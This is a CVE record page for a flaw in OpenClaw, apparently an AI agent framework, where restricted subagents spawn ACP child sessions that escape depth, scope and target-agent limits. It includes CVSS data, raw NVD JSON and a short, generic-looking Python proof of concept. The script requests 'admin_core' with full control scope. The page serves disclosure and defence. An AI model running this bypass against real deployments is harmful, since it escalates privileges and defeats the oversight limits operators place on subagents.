Security Vulnerability Report
中文
CVE-2026-44997 CVSS 4.3 MEDIUM

CVE-2026-44997

Published: 2026-05-11 18:16:40
Last Modified: 2026-05-12 14:19:41

Description

OpenClaw before 2026.4.22 contains a security envelope constraint bypass vulnerability allowing restricted subagents to spawn ACP child sessions that fail to inherit depth, child-count limits, control scope, or target-agent restrictions. Attackers can exploit this by spawning child sessions that bypass subagent-only constraints, potentially escalating privileges or accessing restricted resources.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OpenClaw < 2026.4.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import openclaw import sys # Exploit Title: OpenClaw Security Envelope Constraint Bypass # Date: 2026-05-11 # Exploit Author: Analyst # Vendor Homepage: https://openclaw.com # Version: < 2026.4.22 # Tested on: Linux def exploit_constraint_bypass(target_host, restricted_api_key): """ This PoC demonstrates how a restricted subagent can spawn an ACP child session that bypasses security constraints. """ try: # Authenticate as a restricted subagent client = openclaw.Client(host=target_host, api_key=restricted_api_key) print(f"[+] Connected to {target_host} as restricted subagent.") # Normal operation should enforce limits here, but the vulnerability bypasses them. # We attempt to spawn a child session targeting a restricted agent (e.g., 'admin_core') # with a depth limit that exceeds our allowance. print("[*] Attempting to spawn malicious ACP child session...") # The vulnerability allows setting parameters that should be inherited/restricted malicious_session = client.spawn_acp_session( target_agent="admin_core", # Bypassing target-agent restrictions max_depth=100, # Bypassing depth limits control_scope="full" # Bypassing control scope ) if malicious_session and malicious_session.active: print(f"[!] Exploit successful! Session ID: {malicious_session.id}") print(f"[!] Session Scope: {malicious_session.scope}") print("[!] Attacker now has elevated privileges via child session.") return True else: print("[-] Exploit failed. Session could not be spawned.") return False except Exception as e: print(f"[-] An error occurred: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_host> <restricted_api_key>") sys.exit(1) host = sys.argv[1] key = sys.argv[2] exploit_constraint_bypass(host, key)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44997", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:39.670", "lastModified": "2026-05-12T14:19:41.400", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.22 contains a security envelope constraint bypass vulnerability allowing restricted subagents to spawn ACP child sessions that fail to inherit depth, child-count limits, control scope, or target-agent restrictions. Attackers can exploit this by spawning child sessions that bypass subagent-only constraints, potentially escalating privileges or accessing restricted resources."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/31160dc069b7cc5d833b39c53736a41ad3befda2", "source": "[email protected]"}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q3jj-46pq-826r", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/openclaw-security-envelope-constraint-bypass-in-acp-child-sessions", "source": "[email protected]"}]}}